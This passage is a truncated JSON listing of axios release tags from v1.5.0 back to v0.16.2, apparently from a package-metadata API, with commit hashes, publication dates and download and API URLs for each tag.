_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"21a5ad34c4a5956d81d338059ac0dd34a19ed094","kind":"tag","published_at":"2023-04-27T23:05:47.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.4.0","html_url":"https://github.com/axios/axios/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.4.0/manifests"},{"name":"v1.3.6","sha":"59eb99183546d822bc27e881f5dcd748daa04173","kind":"tag","published_at":"2023-04-19T19:38:50.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.6","html_url":"https://github.com/axios/axios/releases/tag/v1.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.6/manifests"},{"name":"v1.3.5","sha":"4af78a72eee06172c53383aaed74e2dcaf44d620","kind":"tag","published_at":"2023-04-05T18:02:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.5","html_url":"https://github.com/axios/axios/releases/tag/v1.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.5/manifests"},{"name":"v1.3.4","sha":"2e70cecda42993e1153248f0f96715c3c55f7f39","kind":"tag","published_at":"2023-02-22T21:06:15.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.4","html_url":"https://github.com/axios/axios/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"d9ebf8fb3ab2e6d277626d72bcf5580e2a6e795b","kind":"tag","published_at":"2023-02-13T18:47:11.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.3","html_url":"https://github.com/axios/axios/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"0b449293fc238f30f39ab9ed0fca86a23c8a6a79","kind":"tag","published_at":"2023-02-03T18:10:43.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.2","html_url":"https://github.com/axios/axios/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"54d3facb3b032665e6ae84e157073702b5c2e4d9","kind":"tag","published_at":"2023-02-01T23:30:55.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.1","html_url":"https://github.com/axios/axios/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"7fbfbbeff69904cd64e8ac62da8969a1e633ee23","kind":"tag","published_at":"2023-01-31T16:55:43.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.3.0","html_url":"https://github.com/axios/axios/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.3.0/manifests"},{"name":"v1.2.6","sha":"5bde91cac787d92ae56c6cb293941244cc4c617d","kind":"tag","published_at":"2023-01-28T16:41:04.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.6","html_url":"https://github.com/axios/axios/releases/tag/v1.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.6/manifests"},{"name":"v1.2.5","sha":"366161e5e48f818fa42c906e91b71f7876aadabb","kind":"tag","published_at":"2023-01-26T15:06:30.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.5","html_url":"https://github.com/axios/axios/releases/tag/v1.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.5/manifests"},{"name":"v1.2.4","sha":"6600d51e6bbb7db984484ea09f62ec22f9044ed8","kind":"tag","published_at":"2023-01-24T17:21:52.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.4","html_url":"https://github.com/axios/axios/releases/tag/v1.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.4/manifests"},{"name":"v1.2.3","sha":"557ed0a7489b1bf62296ea34568eeea8975ff4f9","kind":"tag","published_at":"2023-01-15T23:57:44.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.3","html_url":"https://github.com/axios/axios/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.3/manifests"},{"name":"1.2.2","sha":"8ea432429b81c2f1aa8b03e43d0bdb498f21c4f4","kind":"commit","published_at":"2022-12-29T06:31:54.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/1.2.2","html_url":"https://github.com/axios/axios/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/1.2.2/manifests"},{"name":"v1.2.2","sha":"8ea432429b81c2f1aa8b03e43d0bdb498f21c4f4","kind":"commit","published_at":"2022-12-29T06:31:54.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.2","html_url":"https://github.com/axios/axios/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"981265dbf464de00e57c6e9eaaca051510fb6021","kind":"commit","published_at":"2022-12-05T19:43:37.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.1","html_url":"https://github.com/axios/axios/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"f92e167f768437ae17f361b2ea36c9b9d48aa814","kind":"commit","published_at":"2022-11-22T18:59:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.2.0","html_url":"https://github.com/axios/axios/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.2.0/manifests"},{"name":"1.2.0-alpha.1","sha":"3a7c363e540e388481346e0c0a3c80e8318dbf5d","kind":"commit","published_at":"2022-11-10T18:59:51.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/1.2.0-alpha.1","html_url":"https://github.com/axios/axios/releases/tag/1.2.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@1.2.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/1.2.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/1.2.0-alpha.1/manifests"},{"name":"v1.1.3","sha":"9bd53214f6339c3064d4faee91c223b35846f2dd","kind":"commit","published_at":"2022-10-15T13:43:01.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.1.3","html_url":"https://github.com/axios/axios/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.3/manifests"},{"name":"v1.1.2","sha":"1b29f4e98e5bb44a125230398f61aa5b0add91c2","kind":"commit","published_at":"2022-10-07T10:09:17.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.1.2","html_url":"https://github.com/axios/axios/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"1315e2282f9463bac77b0c0672f47d8d69804677","kind":"commit","published_at":"2022-10-07T09:08:35.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.1.1","html_url":"https://github.com/axios/axios/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"9c3dce366bd594558e5e474ce9135af22a0d9949","kind":"commit","published_at":"2022-10-06T19:17:46.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.1.0","html_url":"https://github.com/axios/axios/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"484aa4fe6addccbd32206a31eb3d2d000843066e","kind":"commit","published_at":"2022-10-04T19:19:36.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.0.0","html_url":"https://github.com/axios/axios/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.0.0/manifests"},{"name":"v1.0.0-alpha.1","sha":"3cf6ad72033fd6eacf720a7d700f99dc96f586a3","kind":"commit","published_at":"2022-05-31T19:14:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v1.0.0-alpha.1","html_url":"https://github.com/axios/axios/releases/tag/v1.0.0-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v1.0.0-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.0.0-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v1.0.0-alpha.1/manifests"},{"name":"v0.27.2","sha":"bc733fec78326609e751187c9d453cee9bf1993a","kind":"commit","published_at":"2022-04-27T09:58:12.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.27.2","html_url":"https://github.com/axios/axios/releases/tag/v0.27.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.27.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.2/manifests"},{"name":"v0.27.1","sha":"838f53b4bb6616d8ec8efdae0612c9c74b8c3804","kind":"commit","published_at":"2022-04-26T07:31:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.27.1","html_url":"https://github.com/axios/axios/releases/tag/v0.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.27.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.1/manifests"},{"name":"v0.27.0","sha":"008dd9d466167e97727bdba13f4937bb9d7f3baa","kind":"commit","published_at":"2022-04-21T10:55:24.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.27.0","html_url":"https://github.com/axios/axios/releases/tag/v0.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.27.0/manifests"},{"name":"v0.26.1","sha":"8e67551177990ed067384e1641d6964dcab773f7","kind":"commit","published_at":"2022-03-08T06:26:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.26.1","html_url":"https://github.com/axios/axios/releases/tag/v0.26.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.26.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.26.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.26.1/manifests"},{"name":"v0.26.0","sha":"c9aca7525703ab600eacd9e95fd7f6ecc9942616","kind":"commit","published_at":"2022-02-13T14:20:24.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.26.0","html_url":"https://github.com/axios/axios/releases/tag/v0.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.26.0/manifests"},{"name":"v0.25.0","sha":"5c5cbdf4ba1e2b55b6bff35673bdd5206b4eddf8","kind":"commit","published_at":"2022-01-18T07:24:55.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.25.0","html_url":"https://github.com/axios/axios/releases/tag/v0.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.25.0/manifests"},{"name":"v0.24.0","sha":"53d6d37556a3443b00b3d9b4e7a934bf1d81aabe","kind":"commit","published_at":"2021-10-25T17:47:37.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.24.0","html_url":"https://github.com/axios/axios/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.24.0/manifests"},{"name":"v0.23.0","sha":"1025d1231a7747503188459dd5a6d1effdcea928","kind":"commit","published_at":"2021-10-12T15:34:26.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.23.0","html_url":"https://github.com/axios/axios/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"72f14ceef7dae917057f1d5c221713610a65217b","kind":"commit","published_at":"2021-10-01T05:53:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.22.0","html_url":"https://github.com/axios/axios/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.22.0/manifests"},{"name":"v0.21.4","sha":"66c46020bd01b39081259ae74edc2afc283818fa","kind":"commit","published_at":"2021-09-06T15:30:11.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.21.4","html_url":"https://github.com/axios/axios/releases/tag/v0.21.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.21.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.4/manifests"},{"name":"0.21.3","sha":"e367be54dc0e8e3f5dfcba134c69d4a8f1e40324","kind":"commit","published_at":"2021-09-04T19:01:50.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/0.21.3","html_url":"https://github.com/axios/axios/releases/tag/0.21.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@0.21.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/0.21.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/0.21.3/manifests"},{"name":"v0.21.2","sha":"c0c87610911e1edebc923d0e932fea28cdfddae3","kind":"commit","published_at":"2021-09-04T09:57:32.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.21.2","html_url":"https://github.com/axios/axios/releases/tag/v0.21.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.21.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.2/manifests"},{"name":"v0.21.1","sha":"a64050a6cfbcc708a55a7dc8030d85b1c78cdf38","kind":"tag","published_at":"2020-12-22T04:17:55.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.21.1","html_url":"https://github.com/axios/axios/releases/tag/v0.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.1/manifests"},{"name":"v0.21.0","sha":"94ca24b5b23f343769a15f325693246e07c177d2","kind":"tag","published_at":"2020-10-23T16:26:35.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.21.0","html_url":"https://github.com/axios/axios/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"0d8765562401910c1c509f6739a3bc558721e123","kind":"tag","published_at":"2020-08-21T03:11:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.20.0","html_url":"https://github.com/axios/axios/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.20.0/manifests"},{"name":"v0.20.0-0","sha":"ffea03453f77a8176c51554d5f6c3c6829294649","kind":"tag","published_at":"2020-07-15T16:04:59.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.20.0-0","html_url":"https://github.com/axios/axios/releases/tag/v0.20.0-0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.20.0-0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.20.0-0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.20.0-0/manifests"},{"name":"v0.19.2","sha":"2a0ff479f9fb7f09a219f5178ca85a6519562ff1","kind":"commit","published_at":"2020-01-22T04:24:50.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.19.2","html_url":"https://github.com/axios/axios/releases/tag/v0.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.2/manifests"},{"name":"0.19.1","sha":"351cf290f0478d6e47e74c6da2f3ad8fe8f29887","kind":"commit","published_at":"2020-01-07T18:54:03.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/0.19.1","html_url":"https://github.com/axios/axios/releases/tag/0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/0.19.1/manifests"},{"name":"v0.19.1","sha":"960e1c879892ac6e1c83a798c06b9907e35ad2df","kind":"commit","published_at":"2020-01-07T17:21:04.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.19.1","html_url":"https://github.com/axios/axios/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.1/manifests"},{"name":"v0.18.1","sha":"face0165de613696d10b1fd2a0e2f7b3852fa018","kind":"tag","published_at":"2019-06-01T00:46:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.18.1","html_url":"https://github.com/axios/axios/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.18.1/manifests"},{"name":"v0.19.0","sha":"8d0b92b2678d96770304dd767cd05a59d37f12cf","kind":"tag","published_at":"2019-05-30T16:10:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.19.0","html_url":"https://github.com/axios/axios/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.0/manifests"},{"name":"v0.19.0-beta.1","sha":"527381198e8112dd298918b3d9d6c643763a59c3","kind":"tag","published_at":"2018-08-09T18:39:17.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.19.0-beta.1","html_url":"https://github.com/axios/axios/releases/tag/v0.19.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.19.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.19.0-beta.1/manifests"},{"name":"v0.18.0","sha":"d59c70fdfd35106130e9f783d0dbdcddd145b58f","kind":"tag","published_at":"2018-02-19T23:23:58.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.18.0","html_url":"https://github.com/axios/axios/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.18.0/manifests"},{"name":"v0.17.1","sha":"ad1195f0702381a77b4f2863aad6ddb1002ffd51","kind":"tag","published_at":"2017-11-11T23:24:16.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.17.1","html_url":"https://github.com/axios/axios/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"2c0e3183215d9a5fbc2ee8f35f459ac0e4d9f99c","kind":"tag","published_at":"2017-10-21T18:00:45.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.17.0","html_url":"https://github.com/axios/axios/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.17.0/manifests"},{"name":"v0.16.2","sha":"46e275c407f81c44dd9aad419b6e861d8a936580","kind":"tag","published_at":"2017-06-03T19:28:26.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.16.2","html_url":"https://github.com/axios/axios/releases/tag/v0.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.2","manifests_url":"https://r